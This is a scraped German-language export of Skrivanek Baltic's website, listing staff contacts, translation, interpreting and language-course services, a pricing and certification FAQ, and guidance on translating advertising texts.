Online-Beratung! ANSPRECHPARTNER - SKRIVANEK BALTIC  Lāčplēša iela 87C, Riga, Lettland, LV-1011 (Waze) Mo-Fr von 9:00 bis 17:30 Uhr(+371) 26 382 680 (WhatsApp) ÜBERSETZUNGEN UND DOLMETSCHEN birojs@skrivanek. lv(+371) 67 240 364 (Mo-Fr von 9:00 bis 17:30 Uhr)(+371) 26 181 355 (Mo-Fr von 9:00 bis 17:30 Uhr) SPRACHUNTERRICHT macibas@skrivanek. lv(+371) 67 218 573 (Mo-Fr von 9:00 bis 17:30 Uhr)(+371) 25 667 752 (Mo-Fr von 9:00 bis 17:30 Uhr) valodumacibas. lv UNSERE MITARBEITER Aiga Matveja Leiterin des Ausbildungszentrums macibas@skrivanek. lv Uldis Krūmiņš IT-Administrator uldis@skrivanek. lv Vasilijs Ragačevičs Direktor vasilijs@skrivanek. lv Lelde Calmane Leiterin der Qualitätsabteilung lelde@skrivanek. lv Jeļena Lapoška Leiterin der Verwaltungsabteilung jelena. laposka@skrivanek. lv Dana Laizāne Direktorin für Lokalisierung und AI-Projekt dana@skrivanek. lv Ivars Treskovskis Direktor des Übersetzungsprojekts ivars@skrivanek. lv Jānis Luns Marketing-Manager janis. luns@skrivanek. lv Artūrs Peha Geschäftsentwicklungsmanager arturs@skrivanek. lv SKRIVANEK BALTIC SPRACHDIENSTLEISTUNGEN Skrivanek Baltic ist ein zertifiziertes Übersetzungsbüro, das seit 2003 eine Niederlassung in Lettland hat und Sprachdienstleistungen auf höchstem Niveau anbietet. ÜBERSETZUNG Wir bieten erstklassige allgemeine und fachliche Übersetzungen in mehr als 110 Sprachen einschließlich Lettisch, Russisch, Deutsch, Spanisch, Französisch, Italienisch, Estnisch, Schwedisch, Norwegisch, Finnisch, usw. Wir übersetzen Ihre Dokumente, unabhängig davon, ob sie fachspezifisches Wissen und eine strenge Einhaltung der jeweiligen Terminologie erfordern oder nicht. Die häufigsten Branchen die wir übersetzen sind Versicherung, Bauwesen, Finanz- und Bankwesen, Personalwesen, IT und Gaming, Recht, Land- und Forstwirtschaft, Maschinenbau und Zugwesen, Medizin und klinische Studien, Produktion, Werbung und Marketing, Handel, Tourismus und staatliche und kommunale Einrichtungen. Wir bieten notariell beglaubigte Übersetzungen für Originaldokumente und Kopien gemäß der Gesetzgebung der Republik Lettland, grammatikalische und stilistische Verbesserungen bestehender Texte, Anpassungen und Copywriting, Desktop Publishing (DTP), Webseiten-Übersetzung, Lokalisierung von Audio, Video oder Software, sowie GoogleAds und SEO-Übersetzungen. DOLMETSCHEN Wir bieten Dolmetscherdienste in verschiedenen Sprachkombinationen in mehr als 40 Sprachen. Ob es sich um Konsekutivdolmetschen bei kleinen Treffen, wie Geschäftsessen oder Ausflügen, oder Simultandolmetschen bei Großveranstaltungen, wie Konferenzen handelt, unsere professionellen Dolmetscher sorgen für eine reibungslose Kommunikation. Unsere Dolmetscher helfen bei Gerichtsverfahren, aber auch in verschiedenen Alltagssituationen, z. B. bei der Kommunikation mit staatlichen oder kommunalen Einrichtungen, bei der Einreichung von Dokumenten usw. SPRACHUNTERRICHT Seit mehr als 10 Jahren bietet das Schulungszentrum Skrivanek Fremdsprachenunterricht für Unternehmen und Privatpersonen an. Lernen Sie schnell und effizient Sprachen, indem Sie sich für unsere Gruppenkurse oder Einzelunterricht persönlich oder per Skype anmelden. Wir bieten Sprachunterricht nicht nur für Erwachsene, sondern auch für Kinder und Jugendliche an. Wenden Sie sich an uns, um eine für Sie maßgeschneiderte Lösung zu erhalten! --- > Häufig gestellte Fragen und Antworten über Skrivanek Baltic Ihre Frage konnte nicht beantwortet werden? Kontaktieren Sie uns! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/biezak-uzdotie-jautajumi/ - Translation Priorities: Optional Skrivanek Baltic ist ein zertifiziertes Übersetzungsbüro, das seit 2003 eine Niederlassung in Lettland hat und Sprachdienstleistungen auf höchstem Niveau anbietet. Skrivanek ist einer der größten Sprachdienstleister der Welt, mit mehr als 25 Jahren Erfahrung. Wir haben derzeit fast 50 Niederlassungen in Ländern wie: USA, Österreich, Belgien, Bulgarien, Tschechische Republik, Estland, Litauen, Polen, Slowakei, Slowenien und Deutschland. Die Skrivanek Baltic Language School wurde 2007 eröffnet und bietet sowohl Kindern als auch Erwachsenen die Möglichkeit, mit Hilfe hochqualifizierter und sachkundiger Lehrer ihre Fremdsprachenkenntnisse zu verbessern oder neue zu erwerben sowie tiefgründiges Wissen über Sprachen zu erhalten. Die Preise für Übersetzungsdienstleistungen werden nach der Anzahl der Wörter im Ausgangsdokument, der Sprachkombination und anderen Aspekten berechnet. Schicken Sie uns Ihre Dokumente und wir werden Ihnen vor Beginn der Übersetzung einen unverbindlichen Kostenvoranschlag für die Dienstleistung unterbreiten. Dieser kostenfreier Kostenvoranschlag verpflichtet Sie zu keiner Zusammenarbeit mit uns. Alle Preise für natürliche Personen verstehen sich selbstverständlich inklusive Mehrwertsteuer. Für Firmenkunden sind die Preise ohne Mehrwertsteuer angegeben. Gemäß der EU-Verordnung berechnen wir keine Mehrwertsteuer auf Dienstleistungen, die wir für mehrwertsteuerpflichtige Unternehmen in anderen Mitgliedsländern erbringen. Nach dem Reverse-Charge-Verfahren geht die Steuerschuld auf den Empfänger der Dienstleistung über. Wenn Sie ein Microsoft Word-Dokument haben, verwenden Sie die Funktion Wörter zählen (unter der Funktion „Wörter zählen“). Wenn Ihr Dokument in einem anderen Format vorliegt (ein Ausdruck, JPG, HTML, PHP, ASP, usw. ), können Sie es an unsere E-Mail senden und wir unterbreiten Ihnen ein kostenfreies Angebot. Vor Auftragsbeginn legen wir zusammen den Abgabetermin fest. In der Regel dauert die Übersetzung von etwa 500 Wörtern einen ganzen Arbeitstag, während die Übersetzung von etwa 1000 Wörtern mindestens eineinhalb Tage in Anspruch nimmt. In Ausnahmefällen nehmen wir auch Eilaufträge an. Ihr Dokument kann in jedem elektronischem Format vorliegen – wir können viele Formate verarbeiten. Wenn Ihr Dokument nicht digitalisiert ist, senden Sie es uns als Foto. Wir können nahezu jedes Dokument bearbeiten, wobei die Formatierung des Originaldokuments erhalten bleibt. Bei der Lokalisierung halten wir uns an die spezifischen Anweisungen des Auftraggebers oder an die von der Software vorgegebenen Einstellungen. Wir übernehmen das gerne! Skrivanek verfügt über umfangreiche Erfahrung und Kenntnis in der Übersetzung und Lokalisierung verschiedener Websites und Content-Management-Systeme. Wir bieten Ihnen stets Professionalität und finden für Ihren individuellen Auftrag eine maßgeschneiderte Lösung, um die besten Ergebnisse in den jeweiligen Sprachkombinationen zu erzielen. Obwohl die meisten unserer Übersetzungsaufträge von juristischen Personen kommen, arbeiten wir auch gerne mit natürlichen Personen zusammen. Notariell beglaubigte Übersetzungen sind die häufigsten Dienstleistungen für natürliche Personen. Auch Sprachkurse und Camps für Kinder und Jugendliche sind sehr beliebt. Beide sind Sprachexperten, aber der Unterschied liegt darin, dass Übersetzer schriftliche Übersetzungen, während Dolmetscher mündliche Übersetzungen liefern, entweder konsekutiv oder simultan. Wir arbeiten, wenn möglich, mit den Originaldokumenten in elektronischer Form, ohne Änderungen an Stil oder Formatierung vorzunehmen. Auf Wunsch stellen wir sicher, dass das übersetzte Dokument genau der Formatierung des Originals entspricht und nehmen mit Hilfe unseres DTP-Teams Formatierungen nach den Wünschen des Kunden vor. Wir sind nach ISO 9001, EN 17100, EN ISO 14001, EN ISO 18585 und ISO 27001 zertifiziert. Wir garantieren Diskretion, Verantwortung gegenüber unserer Aufträge und halten uns stets an die Abgabetermine! Die Norm DIN EN 17100 stellt den Mindestmaß für alle Aspekte des Übersetzungsprozesses fest, die sich direkt auf die Qualität und die Erbringung von Übersetzungsdienstleistungen auswirken. Für die Kundensicherheit haben wir eine Berufshaftpflichtversicherung mit der internationalen Versicherungsgesellschaft Colonnade Insurance SA abgeschlossen. Wir bieten auch Übersetzungen mit notarieller Beglaubigung an oder beglaubigen sie selbst. Nein, unsere Aufträge werden von Projektmanagern angenommen und betreut. Diese dienen als eine effiziente Brücke zwischen Kunde und Übersetzer. Die Übersetzer und Dolmetscher von Skrivanek Baltic bieten Sprachdienstleistungen in über 110 Sprachen an. Wir bieten eine Vielzahl von Sprachdienstleistungen an – Übersetzungen, Dolmetschen, Lokalisierungen, Textanpassungen, Copywriting, DTP und Sprachunterricht. Wir dolmetschen bei Konferenzen und Geschäftstreffen sowie bei Gerichtsverfahren. Das Übersetzen umfasst Fachübersetzungen und allgemeine Übersetzungen in einer Vielzahl von Branchen. Ja, oft stellen wir sogar Teams von Sprachspezialisten für unsere Kooperationspartner zusammen, was bedeutet, dass die Dienstleistungen von denselben Übersetzern oder Dolmetschern wie bisher erbracht werden. Wir freuen uns über Ihr Feedback und beauftragen gerne den bisherigen Sprachspezialisten für Sie. Unsere Stammkunden haben auch ihre eigenen Projektmanager. Das ändert sich von Auftrag zu Auftrag. Es liegt an Ihnen, wie viele Stunden ein Dolmetscher für Sie arbeiten soll. Wenn der Text für Marketing- oder Werbezwecke bestimmt ist, reicht eine einfache Übersetzung nicht aus. In den meisten Fällen muss der Text lokalisiert und Redewendungen und andere Ausdrücke geändert werden, um sicherzustellen, dass die Bedeutung von der Zielleserschaft richtig erfasst und leicht verstanden wird. Dabei werden die Texte so angepasst, dass sie den Anforderungen der Zielgruppe in der Zielsprache entsprechen. CAT-Tools (Computerunterstützte Übersetzungen) sind Programme, die den Übersetzungsprozess erleichtern sollen. Diese Tools beruhen nicht auf computergestützter oder automatischer Übersetzung, aber sie ermöglichen es, Übersetzungen schneller auszuführen, eine einheitliche Terminologie zu gewährleisten, die Übersetzungskosten zu senken und bieten weitere Vorteile. Mit diesen Tools können auch alle übersetzten Texte gespeichert werden, so dass identische Sätze nur einmal übersetzt werden müssen. Sie sind besonders hilfreich bei der Übersetzung von Finanz- und Fachtexten sowie von Beipackzetteln, Websites und Software. IHRE FRAGE KONNTE NICHT BEANTWORTET WERDEN? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2024 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate ÜBERSETZUNG Wir bieten qualitativ hochwertige Übersetzungen in den erforderlichen Sprachkombinationen, garantieren Diskretion und Einhaltung der Abgabefristen. Mehr erfahren DOLMETSCHEN Wir bieten alle Dolmetscherdienste an in verschiedenen Sprachkombinationen in mehr als 40 Sprachen an Mehr erfahren LOKALISIERUNG Wir liefern nicht nur Übersetzungen an, sondern sorgen auch dafür, dass die lokalisierten Produkte und die Software gut funktionieren. Mehr erfahren SPRACHUNTERRICHT Wir bieten praktischen Sprachunterricht sowohl für Einzelpersonen als auch für Mitarbeiter von Unternehmen und Institutionen mit unterschiedlichem Sprachniveau. Mehr erfahren WARUM SIE UNSERE DIENSTE IN ANSPRUCH NEHMEN SOLLTEN  Quality and performance guarantee We are certified according to ISO 9001, EN 17100, and ISO 27001. We take responsibility for our work and never miss deadlines! Read more  Latest translation technologies We use modern technological achievements to promote quality and productivity! Read more  Wide range of language solutions We grow and develop together with you to provide the best and widest range of language solutions in the Baltics! Contact us WIR BIETEN SPRACHDIENSTLEISTUNGEN FÜR VERSCHIEDENE BRANCHEN IN MEHR ALS 300 SPRACHKOMBINATIONEN AN Dänisch Deutsch Englisch Estnisch Finnisch Französisch Griechisch Italienisch Litauisch Norwegisch Polnisch Russisch Schwedisch Spanisch Tschechisch Andere Sprachen Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Sprachdienstleistungen für die Werbe- und Marketingbranche: Übersetzung, Dolmetschen, notarielle Beglaubigung. Lokalisierung und Sprachunterricht. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/ - Translation Priorities: Optional Die richtigen Worte sind wie das Salz in der Suppe.  WIR BIETEN FÜR WERBUNGEN UND MARKETING DIE FOLGENDEN DIENSTLEISTUNGEN IN ALLEN GÄNGIGEN EUROPÄISCHEN SPRACHEN AN: Textverfassung und Anpassung von kreativen Texten; Übersetzung aller Arten von Marketingmaterialien in digitalem und gedrucktem Format, wie z. B. Verkaufsmaterialien, Styleguides, Produktdatenblätter, E-Mail-Kampagnen usw; Übersetzung von Werbetexten in Schrift-, Video- und Audioformaten; Übersetzung von Werbeslogans, Bannern, SEO-Texten und Google Ads; Übersetzung von Websites, einschließlich Landing Pages; Desktop-Publishing-Dienstleistungen - DTP; Simultan- oder Konsekutivdolmetschen bei verschiedenen Veranstaltungen, einschließlich Seminaren, Konferenzen und Präsentationen; sowie alle anderen Dienstleistungen, die Sie benötigen. WIR KÜMMERN UNS GERNE UM IHR ANLIEGEN UND FINDEN EINE MAßGESCHNEIDERTE LÖSUNG FÜR SIE Anfrage senden ÜBERSETZUNG VON WERBETEXTEN Die Übersetzung von Werbetexten beruht hauptsächlich auf der Kreativität des Übersetzers. Gerade bei Werbetexten wird großer Wert auf Ausdruckskraft, Klang, Verständlichkeit und Stilistik gelegt. Der Text einer Werbung beeinflusst den Verbraucher am meisten. Werbetexte haben einen besonderen semantischen Subtext; sie beinhalten zahlreiche rhetorische Stilmittel. Am häufigsten werden Metaphern, Epitheta, Hyperbeln, Personifikationen und rhetorische Fragen benutzt. Jedoch sollte man vermeiden, Worte mit einem emotionalen negativen Unterton zu verwenden. Werbetexte machen häufig von der Problemlösungsmethode Gebrauch. Hierbei macht die Werbung auf ein Problem aufmerksam und zeigt danach eine wunderbare Lösung, um Kunden von der Notwendigkeit des Produkts zu überzeugen. Bei der Erstellung, Übersetzung und späteren Anpassung von Werbetexten ist darauf zu achten, dass eine Anzeige nicht zu viel Text enthält. Der Text muss aus knappen, präzisen und gut strukturierten Sätzen bestehen. Werbetexte sollten nicht zweideutig oder unklar sein. Die Übersetzung von Überschriften und Slogans eines Werbetextes verlangt viel Sorgfalt, um den Produktkern ans Licht zu bringen - die Überschrift ist oft das Einzige, was ein Verbraucher liest. UNTERSCHIEDLICHE ÜBERSETZUNGSARTEN VON WERBETEXTEN Übersetzung und Anpassung von Werbetexten; Website- oder Homepage-Übersetzungen; Übersetzungen von Video- und Audiowerbung; Übersetzungen von Werbeslogans; Übersetzungen von Bannern; Übersetzungen von Werbebroschüren; Übersetzungen von Landing Pages. MERKMALE VON WERBETEXTÜBERSETZUNGEN Bei der Übersetzung von Werbetexten ist besonders auf die Anrede, den Nachsatz und ihre Verkleinerungsformen zu achten. Vergessen Sie nicht, dass eine Übersetzung nicht separat von seinen visuellen oder akustischen Elementen wahrgenommen werden kann. Denn nur alles zusammen kann für eine harmonische Werbung sorgen. Farben und Schriftgröße ergänzen nur die emotionale Wirkung einer Anzeige. Bei der Übersetzung eines Werbetextes ist es wichtig, die nationale Mentalität Ihres Zielpublikums, sowie Arche- und Stereotypen zu berücksichtigen, da durch die Vielfalt der kulturellen Werte negative Reaktionen hervorgerufen werden könnten. Es ist wichtig, dass eine Übersetzung in der Lage ist, die ursprüngliche Botschaft und die emotionale Verbindung, welche die Werbung dem Zielpublikum vermittelt, beizubehalten. Bei der Anpassung einer Werbung an eine bestimmte Region ist es daher äußerst wichtig, auf alle Eindrücke zu achten, die der Text hervorrufen könnte. Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Ein Sprachdienstleister mit mehr als 30 Jahren Erfahrung: professionelle Sprachdienstleistungen für Unternehmen und Privatpersonen. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/ - Translation Priorities: Optional Fremdsprachen für großen Erfolg Seit mehr als 30 Jahren auf dem Markt! Übersetzung Dolmetschen Lokalisierung Sprachunterricht IHR ÜBERSETZUNGSBÜRO UND SPRACHZENTRUM SKRIVANEK 1 Skrivanek gehört zu den größten Sprachdienstleistern der Welt mit mehr als 30 Jahren Erfahrung in dieser Branche. Derzeit hat Skrivanek fast fünfzig Niederlassungen in verschiedenen Ländern der Welt. Skrivanek Baltic hat seit 2003 eine Niederlassung in Lettland und bietet seinen Kunden hochwertige Sprachdienstleistungen an. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2024 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate WARUM SIE UNS WÄHLEN SOLLTEN  Quality and performance guarantee We are certified according to ISO 9001, EN 17100, and ISO 27001. We take responsibility for our work and never miss deadlines! Read more  Latest translation technologies We use modern technological achievements to promote quality and productivity! Read more  Wide range of language solutions We grow and develop together with you to provide the best and widest range of language solutions in the Baltics! Contact us WIR BIETEN SPRACHDIENSTLEISTUNGEN FÜR VERSCHIEDENE BRANCHEN IN MEHR ALS 300 SPRACHKOMBINATIONEN Dänisch Deutsch Englisch Estnisch Finnisch Französisch Griechisch Italienisch Litauisch Norwegisch Polnisch Russisch Schwedisch Spanisch Tschechisch Andere Sprachen Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  Preisangebot einholen / Ihre Frage senden Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Häufig gestellte Fragen Skrivanek Baltic ist ein zertifiziertes Übersetzungsbüro, das seit 2003 eine Niederlassung in Lettland hat und Sprachdienstleistungen auf höchstem Niveau anbietet. Skrivanek gehört zu den größten Sprachdienstleistern der Welt mit mehr als 25 Jahren Erfahrung. Wir haben derzeit fast 50 Niederlassungen in verschiedenen Ländern: USA, Österreich, Belgien, Bulgarien, Tschechische Republik, Estland, Litauen, Polen, Slowakei, Slowenien und Deutschland. Die Skrivanek Baltic Language School wurde 2007 eröffnet und bietet sowohl Kindern als auch Erwachsenen die Möglichkeit, mit Hilfe hochqualifizierter und sachkundiger Lehrer ihre Fremdsprachenkenntnisse zu verbessern oder neue zu erwerben sowie tiefgründiges Wissen über Sprachen zu erlangen. Die Preise für Übersetzungsdienstleistungen werden nach der Anzahl der Wörter im Ausgangsdokument, der Sprachkombination und anderen Aspekten berechnet. Schicken Sie uns Ihre Dokumente und wir werden Ihnen vor Beginn der Übersetzung einen unverbindlichen Kostenvoranschlag für die Dienstleistung unterbreiten. Dieser kostenfreier Kostenvoranschlag verpflichtet Sie zu keiner Zusammenarbeit mit uns. Alle Preise für natürliche Personen verstehen sich selbstverständlich inklusive Mehrwertsteuer. Für Firmenkunden sind die Preise ohne Mehrwertsteuer angegeben. Gemäß der EU-Verordnung berechnen wir keine Mehrwertsteuer auf Dienstleistungen, die wir für mehrwertsteuerpflichtige Unternehmen in anderen Mitgliedsländern erbringen. Nach dem Reverse-Charge-Verfahren geht die Steuerschuld auf den Empfänger der Dienstleistung über. Wenn Sie ein Microsoft Word-Dokument haben, verwenden Sie die Funktion Wörter zählen (unter der Funktion „Wörter zählen“). Wenn Ihr Dokument in einem anderen Format vorliegt (ein Ausdruck, JPG, HTML, PHP, ASP, usw. ), können Sie es an unsere E-Mail senden und wir unterbreiten Ihnen ein kostenfreies Angebot. Vor Auftragsbeginn legen wir zusammen den Abgabetermin fest. In der Regel dauert die Übersetzung von etwa 500 Wörtern einen ganzen Arbeitstag, während die Übersetzung von etwa 1000 Wörtern mindestens eineinhalb Tage in Anspruch nimmt. In Ausnahmefällen nehmen wir auch Eilaufträge an. Ihr Dokument kann in jedem elektronischem Format vorliegen – wir können viele Formate verarbeiten. Wenn Ihr Dokument nicht digitalisiert ist, senden Sie es uns als Foto. Wir können nahezu jedes Dokument bearbeiten, wobei die Formatierung des Originaldokuments erhalten bleibt. Bei der Lokalisierung halten wir uns an die spezifischen Anweisungen des Auftraggebers oder an die von der Software vorgegebenen Einstellungen. Wir übernehmen das gerne! Skrivanek verfügt über umfangreiche Erfahrung und Kenntnis in der Übersetzung und Lokalisierung verschiedener Websites und Content-Management-Systeme. Wir bieten Ihnen stets Professionalität und finden für Ihren individuellen Auftrag eine maßgeschneiderte Lösung, um die besten Ergebnisse in den jeweiligen Sprachkombinationen zu erzielen. Obwohl die meisten unserer Übersetzungsaufträge von juristischen Personen kommen, arbeiten wir auch gerne mit natürlichen Personen zusammen. Notariell beglaubigte Übersetzungen sind die häufigsten Dienstleistungen für natürliche Personen. Auch Sprachkurse und Camps für Kinder und Jugendliche sind sehr beliebt. Beide sind Sprachexperten, aber der Unterschied liegt darin, dass Übersetzer schriftliche Übersetzungen, während Dolmetscher mündliche Übersetzungen wie konsekutives oder simultanes Dolmetschen anbieten. Wir arbeiten, wenn möglich, mit den Originaldokumenten in elektronischer Form, ohne Änderungen an Stil oder Formatierung vorzunehmen. Auf Wunsch stellen wir sicher, dass das übersetzte Dokument genau der Formatierung des Originals entspricht und nehmen mit Hilfe unseres DTP-Teams Formatierungen nach den Wünschen des Kunden vor. Wir sind nach ISO 9001, DIN EN 17100, DIN EN ISO 14001, DIN EN ISO 18585 und ISO 2700 zertifiziert. Wir garantieren Diskretion, Verantwortung gegenüber unserer Aufträge und halten uns stets an die Abgabetermine! Die Norm DIN EN 17100 stellt den Mindestmaß für alle Aspekte des Übersetzungsprozesses fest, die sich direkt auf die Qualität und die Erbringung von Übersetzungsdienstleistungen auswirken. Für die Kundensicherheit haben wir eine Berufshaftpflichtversicherung mit der internationalen Versicherungsgesellschaft Colonnade Insurance SA abgeschlossen. Wir bieten auch Übersetzungen mit notarieller Beglaubigung an oder beglaubigen sie selbst. Nein, unsere Aufträge werden von Projektmanagern angenommen und betreut. Diese dienen als eine effiziente Brücke zwischen Kunde und Übersetzer. Die Übersetzer und Dolmetscher von Skrivanek Baltic bieten Sprachdienstleistungen in über 110 Sprachen an. Wir bieten eine Vielzahl von Sprachdienstleistungen an – Übersetzungen, Dolmetschen, Lokalisierungen, Textanpassungen, Copywriting, DTP und Sprachunterricht. Wir dolmetschen bei Konferenzen und Geschäftstreffen sowie bei Gerichtsverfahren. Das Übersetzen umfasst Fachübersetzungen und allgemeine Übersetzungen in einer Vielzahl von Branchen. Ja, oft stellen wir sogar Teams von Sprachspezialisten für unsere Kooperationspartner zusammen, was bedeutet, dass die Dienstleistungen von denselben Übersetzern oder Dolmetschern wie bisher erbracht werden. Wir freuen uns über Ihr Feedback und beauftragen gerne den bisherigen Sprachspezialisten für Sie. Unsere Stammkunden haben auch ihre eigenen Projektmanager. Das ändert sich von Auftrag zu Auftrag. Es liegt an Ihnen, wie viele Stunden ein Dolmetscher für Sie arbeiten soll. Wenn der Text für Marketing- oder Werbezwecke bestimmt ist, reicht eine einfache Übersetzung nicht aus. In den meisten Fällen muss der Text lokalisiert und Redewendungen und andere Ausdrücke geändert werden, um sicherzustellen, dass die Bedeutung von der Zielleserschaft richtig erfasst und leicht verstanden wird. Dabei werden die Texte so angepasst, dass sie den Anforderungen der Zielgruppe in der Zielsprache entsprechen. CAT-Tools (Computerunterstützte Übersetzungen) sind Programme, die den Übersetzungsprozess erleichtern sollen. Diese Tools beruhen nicht auf computergestützter oder automatischer Übersetzung, aber sie ermöglichen es, Übersetzungen schneller auszuführen, eine einheitliche Terminologie zu gewährleisten, die Übersetzungskosten zu senken und bieten weitere Vorteile. Mit diesen Tools können auch alle übersetzten Texte gespeichert werden, so dass identische Sätze nur einmal übersetzt werden müssen. Sie sind besonders hilfreich bei der Übersetzung von Finanz- und Fachtexten sowie von Beipackzetteln, Websites und Software. --- > Professionelle Dolmetscherdienste bei Konferenzen, Geschäftstreffen, Verhandlungen, Gerichtsverhandlungen usw. Einheimische und ausländische Dolmetscher. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/ - Translation Priorities: Optional KONSEKUTIVDOLMETSCHEN Professionell und leicht zu verstehen. Beim Konsekutivdolmetschen hört der Dolmetscher zunächst dem Redner zu und dolmetscht dann die Rede in die Zielsprache. Diese Art des Dolmetschens ist bei kleinen Sitzungen, Geschäftsessen und Ausflügen unerlässlich. Mehr erfahren SIMULTANDOLMETSCHEN Beim Dolmetschen für eine große Anzahl von Personen und sogar in mehreren Sprachkombinationen gleichzeitig ist das Simultandolmetschen die beste Lösung. Das bedeutet, dass der gesprochene Text etwas zeitversetzt in einer Dolmetscherkabine gedolmetscht wird. Mehr erfahren KONFERENZDOLMETSCHEN Bei Konferenzen ist es wichtiger, die Botschaft des Redners zu vermitteln, als jedes einzelne Wort zu übersetzen. Unsere professionellen Simultandolmetscher sind in der Lage, die Kommunikation zwischen Vertretern verschiedener Kulturen zu gewährleisten. Mehr erfahren GERICHTSDOLMETSCHEN In der Rechtssprache kommt es auf Präzision an, die vor allem vor Gericht wichtig ist. Unsere Dolmetscher sind erfahren und mit der juristischen Terminologie bestens vertraut. Mit ihrer Hilfe wird das 